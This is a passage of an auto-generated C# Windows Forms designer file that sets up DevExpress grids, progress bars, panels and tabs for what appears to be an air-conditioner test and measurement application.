this.noOfSteadyProgress = new DevExpress.XtraEditors.ProgressBarControl();
this.integrationProgress = new DevExpress.XtraEditors.ProgressBarControl();
this.judgementProgress = new DevExpress.XtraEditors.ProgressBarControl();
this.preparationProgress = new DevExpress.XtraEditors.ProgressBarControl();
this.ulPanel2 = new Ulee.Controls.UlPanel();
this.testMeasTab = new System.Windows.Forms.TabControl();
this.measPage = new System.Windows.Forms.TabPage();
this.measTab = new System.Windows.Forms.TabControl();
this.meas1Page = new System.Windows.Forms.TabPage();
this.ulPanel5 = new Ulee.Controls.UlPanel();
this.methodGrid = new DevExpress.XtraGrid.GridControl();
this.methodGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.mgNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.meValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel7 = new Ulee.Controls.UlPanel();
this.ulPanel3 = new Ulee.Controls.UlPanel();
this.indoor11Grid = new DevExpress.XtraGrid.GridControl();
this.indoor11GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.ID11NameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ID11ValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ID11UnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel17 = new Ulee.Controls.UlPanel();
this.ulPanel79 = new Ulee.Controls.UlPanel();
this.outdoorGrid = new DevExpress.XtraGrid.GridControl();
this.outdoorGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.ODNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ODValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ODUnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel83 = new Ulee.Controls.UlPanel();
this.ulPanel59 = new Ulee.Controls.UlPanel();
this.ratedGrid = new DevExpress.XtraGrid.GridControl();
this.ratedGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.rgNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.rgValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.rgUnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel60 = new Ulee.Controls.UlPanel();
this.ulPanel69 = new Ulee.Controls.UlPanel();
this.indoor22Grid = new DevExpress.XtraGrid.GridControl();
this.indoor22GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.ID22NameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ID22ValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ID22UnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel73 = new Ulee.Controls.UlPanel();
this.ulPanel74 = new Ulee.Controls.UlPanel();
this.indoor21Grid = new DevExpress.XtraGrid.GridControl();
this.indoor21GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.ID21NameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ID21ValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ID21UnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel78 = new Ulee.Controls.UlPanel();
this.ulPanel64 = new Ulee.Controls.UlPanel();
this.indoor12Grid = new DevExpress.XtraGrid.GridControl();
this.indoor12GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.ID12NameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ID12ValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ID12UnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel68 = new Ulee.Controls.UlPanel();
this.ulPanel39 = new Ulee.Controls.UlPanel();
this.noteGrid = new DevExpress.XtraGrid.GridControl();
this.noteGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.noteNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.noteValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel40 = new Ulee.Controls.UlPanel();
this.ulPanel37 = new Ulee.Controls.UlPanel();
this.outsideGrid = new DevExpress.XtraGrid.GridControl();
this.outsideGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.osNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.osValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.osUnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel38 = new Ulee.Controls.UlPanel();
this.ulPanel15 = new Ulee.Controls.UlPanel();
this.asNozzleGrid = new DevExpress.XtraGrid.GridControl();
this.asNozzleGridView = new DevExpress.XtraGrid.Views.BandedGrid.AdvBandedGridView();
this.asNozzleGenaralBand = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.asNozzleNameColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.asNozzleID11Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.asNozzleID11DiameterColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.asNozzleID11CheckColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.asNozzleCheckEdit = new DevExpress.XtraEditors.Repository.RepositoryItemCheckEdit();
this.asNozzleID12Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.asNozzleID12DiameterColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.asNozzleID12CheckColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.asNozzleID21Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.asNozzleID21DiameterColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.asNozzleID21CheckColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.asNozzleID22Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.asNozzleID22DiameterColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.asNozzleID22CheckColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.airSideGrid = new DevExpress.XtraGrid.GridControl();
this.airSideGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.agNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.agID11Column = new DevExpress.XtraGrid.Columns.GridColumn();
this.agID12Column = new DevExpress.XtraGrid.Columns.GridColumn();
this.agID21Column = new DevExpress.XtraGrid.Columns.GridColumn();
this.sgID22Column = new DevExpress.XtraGrid.Columns.GridColumn();
this.sgUnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel16 = new Ulee.Controls.UlPanel();
this.meas2Page = new System.Windows.Forms.TabPage();
this.ulPanel85 = new Ulee.Controls.UlPanel();
this.pressureGrid = new DevExpress.XtraGrid.GridControl();
this.pressureGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.pressureNoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.pressureNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.pressureValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.pressureUnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel86 = new Ulee.Controls.UlPanel();
this.ulPanel84 = new Ulee.Controls.UlPanel();
this.tc3Grid = new DevExpress.XtraGrid.GridControl();
this.tc3GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.tc3NoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc3NameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc3ValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc3UnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc2Grid = new DevExpress.XtraGrid.GridControl();
this.tc2GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.tc2NoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc2NameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc2ValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc2UnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc1Grid = new DevExpress.XtraGrid.GridControl();
this.tc1GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.tc1NoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc1NameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc1ValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.tc1UnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel95 = new Ulee.Controls.UlPanel();
this.reportPage = new System.Windows.Forms.TabPage();
this.reportSheet = new DevExpress.XtraSpreadsheet.SpreadsheetControl();
this.graphPage = new System.Windows.Forms.TabPage();
this.graphTab = new System.Windows.Forms.TabControl();
this.graph1Page = new System.Windows.Forms.TabPage();
this.graph2Page = new System.Windows.Forms.TabPage();
this.graph3Page = new System.Windows.Forms.TabPage();
this.graph4Page = new System.Windows.Forms.TabPage();
this.graph5Page = new System.Windows.Forms.TabPage();
this.graph6Page = new System.Windows.Forms.TabPage();
this.bgPanel.SuspendLayout();
this.ulPanel4.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.totalRatedGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.totalRatedGridView)).BeginInit();
this.ulPanel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.runStateGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.runStateGridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.scheduleProgress.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.repeatProgress.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noOfSteadyProgress.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.integrationProgress.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.judgementProgress.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.preparationProgress.Properties)).BeginInit();
this.testMeasTab.SuspendLayout();
this.measPage.SuspendLayout();
this.measTab.SuspendLayout();
this.meas1Page.SuspendLayout();
this.ulPanel5.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.methodGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.methodGridView)).BeginInit();
this.ulPanel3.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.indoor11Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.indoor11GridView)).BeginInit();
this.ulPanel79.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.outdoorGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.outdoorGridView)).BeginInit();
this.ulPanel59.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.ratedGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.ratedGridView)).BeginInit();
this.ulPanel69.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.indoor22Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.indoor22GridView)).BeginInit();
this.ulPanel74.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.indoor21Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.indoor21GridView)).BeginInit();
this.ulPanel64.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.indoor12Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.indoor12GridView)).BeginInit();
this.ulPanel39.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.noteGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteGridView)).BeginInit();
this.ulPanel37.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.outsideGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.outsideGridView)).BeginInit();
this.ulPanel15.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.asNozzleGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.asNozzleGridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.asNozzleCheckEdit)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.airSideGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.airSideGridView)).BeginInit();
this.meas2Page.SuspendLayout();
this.ulPanel85.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.pressureGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pressureGridView)).BeginInit();
this.ulPanel84.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.tc3Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.tc3GridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.tc2Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.tc2GridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.tc1Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.tc1GridView)).BeginInit();
this.reportPage.SuspendLayout();
this.graphPage.SuspendLayout();
this.graphTab.SuspendLayout();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.bgPanel.Controls.Add(this.testMeasTab);
this.bgPanel.Controls.Add(this.ulPanel1);
this.bgPanel.Controls.Add(this.ulPanel4);
this.bgPanel.Size = new System.Drawing.Size(1728, 915);
//
// ulPanel4
//
this.ulPanel4.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel4.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel4.Controls.Add(this.totalRatedGrid);
this.ulPanel4.Controls.Add(this.ulPanel6);
this.ulPanel4.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel4.InnerColor2 = System.Drawing.Color.White;
this.ulPanel4.Location = new System.Drawing.Point(0, 0);
this.ulPanel4.Name = "ulPanel4";
this.ulPanel4.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel4.OuterColor2 = System.Drawing.Color.White;
this.ulPanel4.Size = new System.Drawing.Size(320, 504);
this.ulPanel4.Spacing = 0;
this.ulPanel4.TabIndex = 5;
this.ulPanel4.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel4.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// totalRatedGrid
//
this.totalRatedGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.totalRatedGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.totalRatedGrid.Location = new System.Drawing.Point(6, 40);
this.totalRatedGrid.MainView = this.totalRatedGridView;
this.totalRatedGrid.Name = "totalRatedGrid";
this.totalRatedGrid.Size = new System.Drawing.Size(308, 458);
this.totalRatedGrid.TabIndex = 279;
this.totalRatedGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.totalRatedGridView});
//
// totalRatedGridView
//
this.totalRatedGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.totalRatedGridView.Appearance.FixedLine.Options.UseFont = true;
this.totalRatedGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.totalRatedGridView.Appearance.FocusedRow.Options.UseFont = true;
this.totalRatedGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.totalRatedGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.totalRatedGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.totalRatedGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.totalRatedGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.totalRatedGridView.Appearance.OddRow.Options.UseFont = true;
this.totalRatedGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.totalRatedGridView.Appearance.Preview.Options.UseFont = true;
this.totalRatedGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.totalRatedGridView.Appearance.Row.Options.UseFont = true;
this.totalRatedGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.totalRatedGridView.Appearance.SelectedRow.Options.UseFont = true;
this.totalRatedGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.totalRatedGridView.Appearance.ViewCaption.Options.UseFont = true;
this.totalRatedGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.trgNameColumn,
this.trgValueColumn,
this.trgUnitColumn});
this.totalRatedGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.totalRatedGridView.GridControl = this.totalRatedGrid;
this.totalRatedGridView.Name = "totalRatedGridView";
this.totalRatedGridView.OptionsBehavior.ReadOnly = true;
this.totalRatedGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.totalRatedGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.totalRatedGridView.OptionsClipboard.CopyColumnHeaders = DevExpress.Utils.DefaultBoolean.False;
this.totalRatedGridView.OptionsSelection.MultiSelect = true;
this.totalRatedGridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.totalRatedGridView.OptionsView.ColumnAutoWidth = false;
this.totalRatedGridView.OptionsView.ShowColumnHeaders = false;
this.totalRatedGridView.OptionsView.ShowGroupPanel = false;
this.totalRatedGridView.OptionsView.ShowIndicator = false;
this.totalRatedGridView.Tag = 0;
this.totalRatedGridView.CustomDrawCell += new DevExpress.XtraGrid.Views.Base.RowCellCustomDrawEventHandler(this.totalRatedGridView_CustomDrawCell);
//
// trgNameColumn
//
this.trgNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.trgNameColumn.AppearanceCell.Options.UseFont = true;
this.trgNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.trgNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.trgNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.trgNameColumn.AppearanceHeader.Options.UseFont = true;
this.trgNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.trgNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.trgNameColumn.Caption = "Name";
this.trgNameColumn.FieldName = "Name";
this.trgNameColumn.Name = "trgNameColumn";
this.trgNameColumn.OptionsColumn.AllowEdit = false;
this.trgNameColumn.OptionsColumn.AllowFocus = false;
this.trgNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.trgNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.trgNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.trgNameColumn.OptionsColumn.AllowMove = false;
this.trgNameColumn.OptionsColumn.AllowShowHide = false;
this.trgNameColumn.OptionsColumn.AllowSize = false;
this.trgNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.trgNameColumn.OptionsColumn.FixedWidth = true;
this.trgNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.trgNameColumn.OptionsColumn.ReadOnly = true;
this.trgNameColumn.OptionsColumn.TabStop = false;
this.trgNameColumn.OptionsFilter.AllowAutoFilter = false;
this.trgNameColumn.OptionsFilter.AllowFilter = false;
this.trgNameColumn.Visible = true;
this.trgNameColumn.VisibleIndex = 0;
this.trgNameColumn.Width = 115;
//
// trgValueColumn
//
this.trgValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.trgValueColumn.AppearanceCell.Options.UseFont = true;
this.trgValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.trgValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.trgValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.trgValueColumn.AppearanceHeader.Options.UseFont = true;
this.trgValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.trgValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.trgValueColumn.Caption = "Value";
this.trgValueColumn.FieldName = "Value";
this.trgValueColumn.Name = "trgValueColumn";
this.trgValueColumn.OptionsColumn.AllowEdit = false;
this.trgValueColumn.OptionsColumn.AllowFocus = false;
this.trgValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.trgValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.trgValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.trgValueColumn.OptionsColumn.AllowMove = false;
this.trgValueColumn.OptionsColumn.AllowShowHide = false;
this.trgValueColumn.OptionsColumn.AllowSize = false;
this.trgValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.trgValueColumn.OptionsColumn.FixedWidth = true;
this.trgValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.trgValueColumn.OptionsColumn.ReadOnly = true;
this.trgValueColumn.OptionsColumn.TabStop = false;
this.trgValueColumn.Visible = true;
this.trgValueColumn.VisibleIndex = 1;
this.trgValueColumn.Width = 94;
//
// trgUnitColumn
//
this.trgUnitColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.trgUnitColumn.AppearanceCell.Options.UseFont = true;
this.trgUnitColumn.AppearanceCell.Options.UseTextOptions = true;
this.trgUnitColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.trgUnitColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.trgUnitColumn.AppearanceHeader.Options.UseFont = true;
this.trgUnitColumn.AppearanceHeader.Options.UseTextOptions = true;
this.trgUnitColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.trgUnitColumn.Caption = "Unit";
this.trgUnitColumn.FieldName = "Unit";
this.trgUnitColumn.Name = "trgUnitColumn";
this.trgUnitColumn.OptionsColumn.AllowEdit = false;
this.trgUnitColumn.OptionsColumn.AllowFocus = false;
this.trgUnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.trgUnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.trgUnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.trgUnitColumn.OptionsColumn.AllowMove = false;
this.trgUnitColumn.OptionsColumn.AllowShowHide = false;
this.trgUnitColumn.OptionsColumn.AllowSize = false;
this.trgUnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.trgUnitColumn.OptionsColumn.FixedWidth = true;
this.trgUnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.trgUnitColumn.OptionsColumn.ReadOnly = true;
this.trgUnitColumn.OptionsColumn.TabStop = false;
this.trgUnitColumn.OptionsFilter.AllowAutoFilter = false;
this.trgUnitColumn.OptionsFilter.AllowFilter = false;
this.trgUnitColumn.Visible = true;
this.trgUnitColumn.VisibleIndex = 2;
this.trgUnitColumn.Width = 79;
//
// ulPanel6
//
this.ulPanel6.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel6.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel6.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel6.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel6.ForeColor = System.Drawing.Color.White;
this.ulPanel6.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel6.InnerColor2 = System.Drawing.Color.White;
this.ulPanel6.Location = new System.Drawing.Point(6, 6);
this.ulPanel6.Name = "ulPanel6";
this.ulPanel6.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel6.OuterColor2 = System.Drawing.Color.White;
this.ulPanel6.Size = new System.Drawing.Size(308, 28);
this.ulPanel6.Spacing = 0;
this.ulPanel6.TabIndex = 5;
this.ulPanel6.Text = "TOTAL RATED POWER";
this.ulPanel6.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel6.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel1
//
this.ulPanel1.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel1.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel1.Controls.Add(this.runStateGrid);
this.ulPanel1.Controls.Add(this.label38);
this.ulPanel1.Controls.Add(this.label37);
this.ulPanel1.Controls.Add(this.label36);
this.ulPanel1.Controls.Add(this.label35);
this.ulPanel1.Controls.Add(this.label32);
this.ulPanel1.Controls.Add(this.label31);
this.ulPanel1.Controls.Add(this.scheduleProgress);
this.ulPanel1.Controls.Add(this.repeatProgress);
this.ulPanel1.Controls.Add(this.noOfSteadyProgress);
this.ulPanel1.Controls.Add(this.integrationProgress);
this.ulPanel1.Controls.Add(this.judgementProgress);
this.ulPanel1.Controls.Add(this.preparationProgress);
this.ulPanel1.Controls.Add(this.ulPanel2);
this.ulPanel1.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel1.InnerColor2 = System.Drawing.Color.White;
this.ulPanel1.Location = new System.Drawing.Point(0, 510);
this.ulPanel1.Name = "ulPanel1";
this.ulPanel1.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel1.OuterColor2 = System.Drawing.Color.White;
this.ulPanel1.Size = new System.Drawing.Size(320, 406);
this.ulPanel1.Spacing = 0;
this.ulPanel1.TabIndex = 6;
this.ulPanel1.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel1.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// runStateGrid
//
this.runStateGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.runStateGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.runStateGrid.Location = new System.Drawing.Point(6, 40);
this.runStateGrid.MainView = this.runStateGridView;
this.runStateGrid.Name = "runStateGrid";
this.runStateGrid.Size = new System.Drawing.Size(308, 230);
this.runStateGrid.TabIndex = 280;
this.runStateGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.runStateGridView});
//
// runStateGridView
//
this.runStateGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.runStateGridView.Appearance.FixedLine.Options.UseFont = true;
this.runStateGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.runStateGridView.Appearance.FocusedRow.Options.UseFont = true;
this.runStateGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.runStateGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.runStateGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.runStateGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.runStateGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.runStateGridView.Appearance.OddRow.Options.UseFont = true;
this.runStateGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.runStateGridView.Appearance.Preview.Options.UseFont = true;
this.runStateGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.runStateGridView.Appearance.Row.Options.UseFont = true;
this.runStateGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.runStateGridView.Appearance.SelectedRow.Options.UseFont = true;
this.runStateGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.runStateGridView.Appearance.ViewCaption.Options.UseFont = true;
this.runStateGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.rsgNameColumn,
this.rsgValueColumn});
this.runStateGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.runStateGridView.GridControl = this.runStateGrid;
this.runStateGridView.Name = "runStateGridView";
this.runStateGridView.OptionsBehavior.Editable = false;
this.runStateGridView.OptionsBehavior.ReadOnly = true;
this.runStateGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.runStateGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.runStateGridView.OptionsSelection.MultiSelect = true;
this.runStateGridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.runStateGridView.OptionsView.ColumnAutoWidth = false;
this.runStateGridView.OptionsView.ShowColumnHeaders = false;
